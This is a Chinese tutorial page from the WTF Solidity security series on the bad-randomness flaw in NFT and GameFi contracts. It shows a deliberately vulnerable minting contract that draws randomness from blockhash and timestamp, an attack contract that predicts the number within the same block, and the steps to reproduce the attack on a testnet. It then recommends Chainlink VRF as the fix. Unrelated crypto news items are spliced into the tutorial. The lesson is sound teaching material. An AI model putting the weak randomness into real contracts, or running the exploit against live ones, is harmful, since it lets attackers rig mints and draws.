区块见闻 区块见闻
Ctrl+D收藏区块见闻

WTF Solidity 合约安全: S07. 坏随机数

作者:

时间:

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

PeopleDAO与WTF Academy合作,在Goerli测试网上试用Soulbound协议:2月21日消息,PeopleDAO与Web3开源学习社区WTF Academy合作,在Goerli测试网上试用声誉NFT协议Soulbound。用例类似于获得课程学分。当WTF学院的学生完成课程后,他们将获得不可转让的证书,即教育证明。

Soulbound选择Goerli测试网对产品进行Beta测试,因为测试网是编码人员用来开发和试用智能合约的以太坊区块链的替代版本。一旦该项目从早期用户那里获得了足够的反馈,下一步将部署到合适的以太坊L2网络。[2023/2/21 12:19:31]

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

goblintown.wtf系列NFT24小时交易额为90.35万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6264万美元,在所有NFT项目总市值排名中位列第38;其24小时交易额为90.35万美元,跌幅达12.69%。截止发稿时,该系列NFT当前地板价为3ETH,涨幅为3.81%。[2022/6/13 4:21:22]

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

goblintown.wtf系列NFT地板价跌幅达10.26%:金色财经消息,NFTGo.io数据显示,goblintown.wtf系列NFT总市值为1.01亿美元,24小时交易额达121.78万美元,跌幅为24.84%。目前地板价达5.5ETH,24小时跌幅为10.26%。[2022/6/8 4:09:45]

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

部署 BadRandomness 合约。

部署 Attack 合约。

将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

troll-town.wtf系列NFT24小时交易额增幅达312.57%:金色财经消息,据NFTGo.io数据显示,troll-town.wtf系列NFT总市值达511.08万美元,在所有NFT项目总市值排名中位列第565;其24小时交易额为129.64万美元,增幅达312.57%。截止发稿时,该系列NFT当前地板价为0.242ETH。[2022/6/7 4:08:55]

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社区:Discord|微信群|官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

来源:bress

fees.wtf回应低流动性:团队正在逐步增加流动性以防止机器人抢跑:1月14日消息,Gas 使用统计查询网站 fees.wtf 在 Discord 社群中回应关于流动性不足的问题,并表示其在发布前提到将在发布不久之后添加流动性,但并未说明具体数量。是因为团队不希望机器人抢先运行,并提走全部原有流动性。因此导致市场上发生了一场机器人对机器人的斗争:

由于初始发布时的流动性很低,有机器人将 100 ETH 投入一个仅有 1 到 2 个 ETH 的流动性池中。设置很高的滑点,最终被其他机器人耗尽了全部的 ETH,是一个高滑点、低流动性的案例。

fees.wtf 团队希望用户没有受到影响,一起仍按原计划进行,团队正在增加流动性。[2022/1/14 8:48:44]

Bress

个人专栏

阅读更多

金色早8点

比推 Bitpush News

Foresight News

PANews

Delphi Digital

区块链骑士

深潮TechFlow

链捕手

区块律动BlockBeats

DeFi之道

标签:NBSBSPNFTINTNBS币bspt币未来前景NFT Rehabcointigertop

火币网下载官方app热门资讯
ENT:一览 Web3 身份九大方向及代表项目_Sentiment Token

原文:Mapping the Identity Space撰文:Kerman Kohli编译:aididiaojp.eth,Foresight News? 链上徽章是最常见的类别.

BLOCK:新时代的人才要求:如何快速加入Web3团队?_web3域名交易记录

原文作者:本体 HRM Eden原文来源:OWNInsights 专栏本文根据作者自己作为 HR 的无数次招聘经历,从招聘者的角度为大家提供加入 Web3 所需要的能力与素质作为应聘参考.

WEB3:十五张图看懂 2022 年加密VC的投资变化_CRYPT

原文:2022: Crypto VC Comes Down to Earth作者:alex thorn  2022 年.

区块链:Layer3 是什么?一文揭晓 Layer1 到 Layer3 进化史_区块链如何购买

 什么是 Layer3? 从 Layer1 开始的进化史 当我们谈到区块链时,脑海中大多会浮现出:去中心化、高度分散、自由运作等关键词.

STA:从链上数据踏入Web3:DAO逐步起势 NFT热度暂退_FORCE

来源:Twitter 作者:Joel John DAO正在逐步起势 关于DAO,仅以太坊上的DAO 就处理了大约 90 亿美元,低于一年前的 120 亿美元.

NFT:简析账户抽象和EIP-4337:未来智能合约钱包落地情况如何?_NFT币

最近,账户抽象以及EIP-4337在开发者圈子里很火。账户抽象指的是未来钱包签名机制概念化。目前,主流钱包(EOA钱包)采用的签名机制是CDSA(椭圆曲线数字算法签名),而未来钱包的签名机制可以.